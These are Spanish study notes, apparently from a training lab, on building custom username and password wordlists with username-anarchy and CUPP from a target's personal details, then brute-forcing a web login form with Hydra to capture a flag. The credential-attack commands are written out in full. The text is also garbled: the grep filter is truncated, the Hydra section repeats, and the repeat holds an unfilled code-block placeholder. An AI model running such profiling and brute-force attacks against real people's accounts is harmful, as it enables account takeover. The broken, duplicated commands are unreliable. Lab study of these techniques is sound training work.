Custom Wordlists — Username Anarchy & CUPP
🧰 Listas de Palabras Personalizadas
Las listas estándar (rockyou, SecLists…) son muy amplias y poco precisas.
Cuando el objetivo tiene patrones propios (empresa, cultura, gustos), las listas personalizadas aumentan muchísimo la tasa de éxito.
👤 Anarquía de Nombres de Usuario (Username Anarchy)
Incluye iniciales, leetspeak, combinaciones creativas, etc.
📦 Instalación
sudo apt install ruby -y
git clone https://github.com/urbanadventurer/username-anarchy.git
cd username-anarchy
🛠️ Generación de nombres de usuario
./username-anarchy Jane Smith > jane_smith_usernames.txt

- janesmith, smithjane
- jane.smith, j.smith
- js, sj
- j4n3, 5m1th
- jane_the_gardener, potterheadjane
🗝️ CUPP – Generador de Contraseñas Personalizadas
Cuanta más información tengas del objetivo, mejores contraseñas genera:
cumpleaños, pareja, mascotas, colores favoritos, hobbies, empresa…
📦 Instalación
sudo apt install cupp -y
🧪 Modo interactivo
cupp -i

Ejemplo de datos introducidos para generar “jane.txt”:
-
Nombre: Jane Smith
-
Apodo: Janey
-
Cumpleaños: 11/12/1990
-
Pareja: Jim (“Jimbo”)
-
Mascota: Spot
-
Empresa: AHI
-
Intereses: hacker, azul
-
Leetspeak: Sí
-
Símbolos especiales: Sí
-
Números aleatorios: Sí
🧹 Filtrado según la política de contraseñas de la empresa
-
Min. 6 caracteres
-
≥1 mayúscula
-
≥1 minúscula
-
≥1 número
-
≥2 símbolos (!@#$%^&*)
🔍 Filtrar con grep
grep -E '^.{6,}
Resultado final: lista reducida (~7.900 contraseñas útiles).
---
# ⚔️ Fuerza Bruta con Hydra
> [!tip] **Sustituye IP y PORT por los de tu objetivo.**
``` bash
hydra -L jane_smith_usernames.txt -P jane-filtered.txt IP -s PORT -f http-post-form "/:username=^USER^&password=^PASS^:Invalid credentials"

Usuario jane contraseña 3n43 !!
Una vez Hydra encuentre credenciales válidas → inicia sesión y obtiene la flag.

Resultado final: lista reducida (~7.900 contraseñas útiles).
---
# ⚔️ Fuerza Bruta con Hydra
> [!tip] **Sustituye IP y PORT por los de tu objetivo.**
{{CODE_BLOCK_5}}

Usuario jane contraseña `3n43 !!`
Una vez Hydra encuentre credenciales válidas → inicia sesión y obtiene la flag.
